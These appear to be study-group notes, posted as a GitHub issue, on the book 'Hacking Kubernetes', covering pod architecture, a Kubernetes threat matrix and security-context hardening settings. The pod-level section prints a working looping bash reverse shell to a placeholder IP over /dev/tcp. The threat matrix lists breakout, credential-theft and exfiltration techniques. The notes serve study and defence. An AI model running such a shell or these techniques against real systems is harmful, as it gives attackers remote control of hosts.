BookStudyWithChimaek / 2021-Season3

북스터디 시즌3 (2021-09-17 ~ 2021-10-22)
3 stars 1 forks source link

Hacking Kubernetes #1

Open keyolk opened 3 years ago

keyolk commented 3 years ago

image

https://learning.oreilly.com/library/view/hacking-kubernetes/9781492081722/

keyolk commented 3 years ago
  1. Introduction
  2. Pod-Level Resources
  3. Container Runtime Isolation
  4. Applications And Supply Chain
  5. Networking
  6. Storage
  7. Hard Multitenancy
  8. Policy
  9. Intrusion Detection
  10. Organizations
keyolk commented 3 years ago

image

  1. Pod-Level Resources

Pod Architecture

image

Threat Model

Remote Code Execution

image

Network Attack Surface

Bash Revers Shell Example

revshell() {
    local TARGET_IP="${1:-123.123.123.123}";
    local TARGET_PORT="${2:-1234}";
    while :; do
        nohup bash -i &> /dev/tcp/${TARGET_IP}/${TARGET_PORT} 0>&1;
        sleep 1;
    done
}

Apps in a Pod

image

image

image

image

Understanding Container

image

Threat Matrix

Initial Access (Popping a shell pt 1 - prep) Execution (Popping a shell pt 2 - exec) Persistence (Keeping the shell) Privilege Escalation (Container breakout) Defense Evasion (Assuming no IDS) Credential Access (Juicy creds) Discovery (Enumerate possible pivots) Lateral Movement (Pivot) Command & Control (C2 methods) Impact (Dangers)
Using Cloud Credentials - service account keys, impersonation Exec Into Container (bypass admission control policy) Backdoor Container (add a reverse shell to local or container registry image) Privileged container (legitimate escalation to host) Clear Container Logs (covering tracks after host breakout) List K8s Secrets List K8s API Server (nmap, curl) Access Cloud Resources (workload identity and cloud integrations) Dynamic Resolution (DNS tunnelling) Data Destruction (datastores, files, NAS, ransomware…)
Compromised Images In Registry (supply chain unpatched or malicious) BASH/CMD Inside Container (Implant or trojan, RCE/reverse shell, malware, C2, DNS tunnelling) Writable Host Path Mount (host mount breakout) Cluster Admin Role Binding (untested RBAC) Delete K8s Events (covering tracks after host breakout) Mount Service Principal (Azure specific) Access Kubelet API Container Service Account (API server) App Protocols (L7 protocols, TLS, …) Resource Hijacking (cryptojacking, malware c2/distribution, open relays, botnet membership)
Application Vulnerability (supply chain unpatched or malicious) Start New Container (with malicious payload: persistence, enumeration, observation, escalation) K8s CronJob (reverse shell on a timer) Access Cloud Resources (metadata attack via workload identity) Connect From Proxy Server (to cover source IP, external to cluster) Applications Credentials In Config Files (key material) Access K8s Dashboard (UI requires service account credentials) Cluster Internal Networking (attack neighbouring pods or systems) Botnet (k3d, or traditional) Application DoS
KubeConfig File (exfiltrated, or uploaded to the wrong place) Application Exploit (RCE) Static Pods (reverse shell, shadow API server to read audit-log-only headers) Pod hostPath Mount (logs to container breakout) Pod/Container Name Similarity (visual evasion, cronjob attack) Access Container Service Account (RBAC lateral jumps) Network Mapping (nmap, curl) Access Container Service Account (RBAC lateral jumps)   Node Scheduling DoS
Compromise User Endpoint (2FA and federating auth mitigate) SSH Server Inside Container (bad practice) Injected Sidecar Containers (malicious mutating webhook) Node To Cluster Escalation (stolen credentials, node label rebinding attack) Dynamic Resolution (DNS) (DNS tunnelling/exfiltration) Compromise Admission Controllers Instance Metadata API (workload identity) Host Writable Volume Mounts   Service Discovery DoS
K8s API Server Vulnerability (needs CVE and unpatched API server) Container Life Cycle Hooks (postStart and preStop events in pod yaml) Rewrite Container Life Cycle Hooks (postStart and preStop events in pod yaml) Control Plane To Cloud Escalation (keys in secrets, cloud or control plane credentials) Shadow admission control or API server   Compromise K8s Operator (sensitive RBAC) Access K8s Dashboard   PII or IP exfiltration (cluster or cloud datastores, local accounts)
Compromised host (credentials leak/stuffing, unpatched services, supply chain compromise)   Rewrite Liveness Probes (exec into and reverse shell in container) Compromise Admission Controller (reconfigure and bypass to allow blocked image with flag)     Access Host File System (host mounts) Access Tiller Endpoint (Helm v3 negates this)   Container pull rate limit DoS (container registry)
Compromised etcd (missing auth)   Shadow admission control or API server (privileged RBAC, reverse shell) Compromise K8s Operator (compromise flux and read any secrets)       Access K8s Operator   SOC/SIEM DoS (event/audit/log rate limit)
    K3d botnet (secondary cluster running on compromised nodes) Container breakout (kernel or runtime vulnerability e.g. Dirtycow, /proc/self/exe, eBPF verifier bugs, Netfilter)            

Capabilities

CAP_DAC_OVERRIDE, CAP_CHOWN, CAP_DAC_READ_SEARCH, CAP_FORMER, CAP_SETFCAP: bypass filesystem permissions

Service Account

Seccomp

Validating Security Context: https://kubesec.io/

Hardening Security Context

Field Name(s) Usage Recommendations
privileged Controls whether Pods can run privileged containers Set to false
hostPID, hostIPC Controls whether containers can share host process namespaces Set to false
hostNetwork Controls whether containers can use the host network Set to false
allowedHostPaths Limits containers to specific paths of the host file system Use a “dummy” path name (such as /foo marked as read-only). Omitting this field results in no admission restrictions being placed on containers
readOnlyRootFilesystem Requires the use of a read only root file system Set to true when possible
runAsUser, runAsGroup, supplementalGroups, fsGroup Controls whether container applications can run with root privileges or with root group membership Set runAsUser to MustRunAsNonRootSet runAsGroup to non-zero (see the example in Appendix C: Example Pod Security Policy)Set supplementalGroups to non-zero (see example in Appendix C)Set fsGroup to non-zero (see example in Appendix C: Example Pod Security Policy)
allowPrivilegeEscalation Restricts escalation to root privileges Set to false. This measure is required to effectively enforce “runAsUser: MustRunAsNonRoot” settings
seLinux Sets the SELinux context of the container If the environment supports SELinux, consider adding SELinux labeling to further harden the container
AppArmor annotations Sets the AppArmor profile used by containers Where possible, harden containerized applications by employing AppArmor to constrain exploitation
seccomp annotations Sets the seccomp profile used to sandbox containers Where possible, use a seccomp auditing profile to identify required syscalls for running applications; then enable a seccomp profile to block all other syscalls